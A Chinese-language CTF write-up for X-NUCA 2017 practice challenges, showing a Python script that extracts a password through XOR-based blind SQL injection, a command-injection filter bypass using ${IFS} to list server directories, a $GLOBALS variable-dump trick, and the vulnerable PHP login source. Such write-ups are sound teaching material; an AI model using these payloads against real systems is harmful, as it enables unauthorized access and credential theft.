0X0、前言
X-NUCA 2017 来了,想起 2016 web 专题赛,题目都打不开,希望这次主办方能够搞好点吧!还没开赛,依照惯例会有赛前指导,放一些训练题让 CTFer 们好感受一下题目。
题目有一大部分是去年的题,简单过了一遍,重点放在那几道新题。
有五道新题,自己又不是专业 CTFer,菜鸡一枚,做多少记录多少。
目前做出了《阳光总在风雨后》和《default》,《Document》get 了 shell,但无奈死活找不出 flag。
下面是题解,不定期更新题目 WP
0X1、阳光总在风雨后
1、sql 注入绕过
先看题,没有文件泄露,只有一个登录框,测试了一下是有注入的。
用户名: admin 密码: 1 提示密码错误
用户名: admin' 密码: 1 提示用户名错误
由上面的测试,我们知道存在用户名 admin,没有错误回显,应该是盲注,存在注入的地方是用户名。
弄明白注入类型之后,就可以对症下药了。
但是应该没有那么简单,果然测试了之后发现过滤了不少关键字,下面简要说一下测试过程,可能说的不是很清楚。
正常情况下,用户名没有输错,返回的是密码错误,而 admin'返回的是用户名错误,也就是说用户名的 sql 语句存在错误就会返回用户名错误
在后面加一个空格试一下?
返回提示说非法字符,空格被过滤了。
再试一下其他的字符? 如: or ,and,| 之类的
or 也被过滤了。
到这里我们就知道如果输出的关键字被过滤了,就会返回 illegal character!!@_@ 。
我做的时候是手动 fuzz 的,当然我们可以用 burpsuite 来 fuzz,跑一下就 OK 了。这里就不多说了
最终 fuzz 发现 ^ 是没有过滤的。那就可以用这个来盲注了。对 xor 注入不了解这么办?问度娘呗。
百度搜索:"xor 注入",看到这篇文章
最终我们知道 xor 注入的一些判断。
真 ^ 真 = 假
真 ^ 假 = 真
假 ^ 真 = 真
假 ^ 假 = 假
一句话总结就是: 相同为假,相异为真
再看看 sql 注入绕过之类的 wp,百度搜索:"ctf sql 注入绕过"
找到了一些文章,而在这篇《CTF 比赛中的 SQL 注入的一些经验总结》里面找到了类似的 payload。
善用搜索引擎,就是这么简单。简要说明下 payload 的意思
^(ascii(mid((passwd)from(1)))>10)^'1'='1
1,ascii 是对某个字符求 ascii 码,最左边的字符串 str 返回的数值
2,mid 用于得到一个字符串的一部分
MID() 函数语法为:
- SELECT MID(ColumnName, Start[, Length]) from Tablename
注:字符串从 1 开始,而非 0,Length 是可选项,如果没有提供,MID() 函数将返回余下的字符串。
而这里 mid 语法貌似有点怪异,为什么会是 mid((passwd)from(1)) 呢?其实意思是一样的。我们做个测试。
可以看到 from 1 就相当于 mid(str,1)。
看一下一整句,ascii(mid(('test')from(1))) , 为什么这里返回的 ascii 码会是 116 呢?(116 是字母't'的 ascii 码)
那是因为 ascii 函数是对目标字符串最左边的字符求 ascii 码,测试如下:
好了,那么整一句 sql 语句的意思就解释清楚了。
^(ascii(mid((passwd)from(1)))>=10)^'1'='1 passwd 字段的内容首字母的 ascii 码是否大于等于 10
^(ascii(mid((passwd)from(1)))>=100)^'1'='1 passwd 字段的内容首字母的 ascii 码是否大于等于 100
^(ascii(mid((passwd)from(2)))>=100)^'1'='1 passwd 字段的内容第二个字母的 ascii 码是否大于等于 100
依次类推。。。
^(ascii(mid((passwd)from(1)))>=10)^'1'='1 其中 1 是字母的位置,表示第几个字符 ,10 是字母的 ascii 码。
理解清楚了 payload 的意思,接下来就是写脚本,去跑密码就可以了。
脚本代码:
- # -*- coding:utf-8 -*-
- # @Date: 2017/08/11 14:12
- # @Author: r00tuser
- # @Blog: http://cnblogs.com/r00tuser/
- import requests
- import re
- def sqli():
- url = 'http://218.76.35.74:20130/login.php'
- data = {
- 'uname':'',
- 'passwd':'1'
- }
- flag = ''
- for i in range(1,33):
- for c in range(1,128):
- payload = "admin'^(ascii(mid((passwd)from(%d)))>=%d)^'1'='1" % (i, c)
- data['uname'] = payload
- response = requests.post(url,data=data).content
- if 'username error!!' in response:
- flag += chr(c-1) # 因为判断的是大于等于,所以要减去一
- print flag
- break
- if __name__ == '__main__':
- sqli()
成功拿到密码
t00ls 工具解密得到
ps: 当时解出来的时候还是很爽的:)
还有一点没解释,就是代码里为什么判断 username error!! 的时候为注入出正确的字符的时候呢?这里就不多说了。提示: 想想 xor 语法和认真看一下文章前面。
2、命令执行绕过
在得到了前面的密码之后,我们就可以登录上去了。登录上去之后是一个只有命令执行功能的界面
而这个命令执行也是做了过滤的。
先说说思路:列目录查看一些必要信息,fuzz 过滤的关键字,思考有没有办法绕过,目标是查看服务器中的文件内容,因为 flag 就在里面。
下面说一下便捷快速的解法:
fuzz 发现过滤了 php 关键字与及空格,还有就是 cat 什么的是没有办法出数据的,ls 命令列出的是最后一行的内容
那么想办法绕过,百度找资料,找到这篇文章。http://www.freebuf.com/articles/web/137923.html(浅谈 CTF 中命令执行与绕过的小技巧)
1,空格绕过,用 ${IFS} 代替空格。
2,寻找更多的信息,ls 命令的使用
先列一下当前目录包含了哪些文件:
可以看到有 index.php
查看当前目录位置,查看上级目录内容:
执行一下 pwd
发现上面还有一个 / var/www/html 目录
看一下上级目录包含了什么,
命令: ls${IFS}/var/www/html
发现了 login.php。但是由于只返回一行,我们看到的内容有限。
这里先补一下 ls 命令参数的作用
对了,还有一个 - r 以文件名反序排列。
接下来就是灵活使用命令以不同的方式排序,以获取更多的信息。
执行命令: ls${IFS}-r${IFS}/var/www/html
我们发现了一个类似于 md5 的'文件'(一开始我以为是文件,其实这里是目录,专业的 ctfer 一看就知道是目录了)
接下来我们验证一下文件类型。
命令: ls${IFS}-rF${IFS}/var/www/html
可以发现其实是个目录,那么我们接着列一下这个目录看看下面有什么
命令: ls${IFS}-rF${IFS}/var/www/html/9ef89ad913e848b64b73e3aa721e44e4
发现了一个似乎包含 flag 的 php 文件。
浏览器直接访问就可以得到 flag 了。
至此,这道题算是解出来了。其实主要就是 ls 命令的参数的活用,与及空格的绕过
写题解的时候看似很简单,其实做的时候查了很多资料,绕了很多弯路。一开始的想法就是想着读取文件,用 curl 结合远程服务器读取了几个文件,发现没有 flag。然后想着用 ls 命令来读取更多的内容,算是误打误撞解出来的。其实题目一开始就有提示,输入框里面提示了 ls :)
最后给一下前面登录的源码(绕弯路的是得到的)
- <?php
- header("Content-Type:text/html;charset=utf-8");
- error_reporting(E_ERROR);
- define ('PATH_WEB', dirname(__FILE__).'/');
- require_once(dirname(__FILE__).'/include/conf.php');
- require_once(dirname(__FILE__).'/include/fiter.php');
- #var_dump($_SESSION);
- if($_SESSION['flag'] === 1){
- header("location:./admin/");exit;
- }
- #echo $_POST['uname'].'````'.$_POST['passwd'];
- if($_POST['uname'] && $_POST['passwd']){
- $obj = new fiter();
- $uname = $obj->sql_clean($_POST['uname']);
- $passwd = md5($_POST['passwd']);
- $query="SELECT * FROM admin WHERE uname='".$uname."'";
- $result=mysql_query($query);
- #var_dump($result);
- if ($row = mysql_fetch_array($result)){
- #print_r($row);echo "\n\r<b";
- if ($row['passwd']===$passwd){
- $_SESSION['flag'] = 1;
- #echo $_SESSION['flag'];
- header("location:./admin/");exit();
- }
- else{
- echo "<script>alert('password error!!@_@');parent.location.href='index.php'; </script>"; exit();
- }
- }
- else{
- echo "<script> alert('username error!!@_@');parent.location.href='index.php'; </script>"; exit();
- }
- }
- else {
- echo "<script> alert('username and password must have a value!!@_@');parent.location.href='index.php'; </script>";exit();
- }
- ?>
0X2、default
这道题其实很简单,描述给了提示,就是要扫文件。
扫出来了一个文件 index1.php
提示 flag 在变量里面,而且这道题在 i 春秋里面出过。
直接? args=GLOBALS 就出来了。
至于为什么是这样子,请查看 php 手册
0X3 总结
至此,算是解释清楚了两道题,好久没有写过这么详细的题解了。剩下的几道题加油做了,做出来的话会第一时间发上来。
0x04 参考资料
0,http://www.cnblogs.com/REscan/p/7043705.html CTF 比赛中 SQL 注入的一些经验总结
来源: http://www.cnblogs.com/r00tuser/p/7346253.html